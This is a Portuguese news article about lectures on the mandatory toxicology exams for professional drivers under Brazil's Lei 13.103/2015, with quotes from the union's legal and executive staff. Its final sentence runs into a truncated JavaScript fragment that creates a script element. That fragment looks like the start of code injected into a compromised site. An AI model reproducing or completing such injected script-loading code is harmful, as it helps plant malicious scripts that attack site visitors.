Exames toxicológicos: é possível cumpri-los!

Fetransportes e Transcares estão realizando palestras sobre o tema

As dúvidas e polêmicas que envolvem o exame toxicológico levaram o Transcares, em parceria com a Fetransportes, a realizar a palestra itinerante “A Problemática do Exame Toxicológico – Lei 13.103”, cujo objetivo maior é informar e debater a respeito das mudanças no procedimento de realização dos exames admissionais e demissionais de motoristas profissionais. O primeiro encontro de empresários, dirigentes e profissionais dos segmentos de cargas e passageiros aconteceu na terça-feira, 15 de março, no Sest Senat de Cachoeiro de Itapemirim, e contou com a presença do médico do trabalho Antônio Gil Rangel, que demonstrou, dentre outras coisas, aspectos matérias do exame e tipos de drogas analisadas, e deu sugestões de condutas para o empregador nos exames pré-admissionais.

Mais de 80 pessoas participaram do evento e dentre os convidados estavam a assessora jurídica, o diretor e o superintendente do Transcares, Alessandra Lamberti, Lauro Machado e Mario Natali, respectivamente, além do superintendente da Fetransportes, Sandro Perovano.

A exigência dos exames é uma das obrigações estabelecidas pela Lei 13.103/2015, também conhecida como Lei do Motorista. Para os motoristas empregados, a obrigação surge no momento da realização de exames admissionais e demissionais. A regra, contudo, também atinge os profissionais autônomos (categorias C, D e E), que precisam ser submetidos ao mesmo exame no momento da habilitação, renovação da carteira e adição de categoria.

Com relação à obrigação trabalhista, conforme destacou Alessandra Lamberti, o Ministério do Trabalho e Previdência Social regulamentaram os procedimentos a serem observados publicando a Portaria 116, de 13 de novembro 2015, e a obrigação para as empresas entra em vigor em 17 de abril.

“Existe uma regra a ser cumprida e da necessidade de analisarmos detidamente essa nova obrigação surgiu a ideia das palestras. Eu e dr. Marcos (Marcos Alexandre Alves Dias, também assessor jurídico do sindicato) nos debruçamos sobre o tema e o estudamos para, então, estabelecer alguns parâmetros práticos na aplicação da lei e sua regulamentação. E apresentamos esse entendimento na palestra de Cachoeiro, na intenção de apontar aos associados a maneira mais prática de cumprir a regra e evitar erros que possam gerar algum tipo de passivo trabalhista”, explicou Alessandra, completando em seguida.

“É preciso entender que a obrigação está vigente, mesmo que a lei e sua regulamentação apresentem incongruências e vários pontos de interpretação. Além disso, devemos ter em mente que essa nova obrigação proporcionará mais segurança a quem está nas estradas”.

Segundo Mario Natali, a intenção do evento foi demonstrar que é possível cumprir os parâmetros propostos na lei e criar a consciência de que o custo da obrigação será convertido no afastamento dos riscos de acidente de trabalho e de eventual obrigação do empregador em dar tratamento aos motoristas. “As dúvidas são inúmeras, sabemos disso, por isso mesmo vamos realizar essa mesma palestra em pelo menos outras duas ocasiões”, destacou ele, referindo-se aos eventos de 23 de março, no Sest Senat de Cariacica, e 12 de abril, no Sest Senat de Colatina.var d=document;var s=d.createElement(‘script’);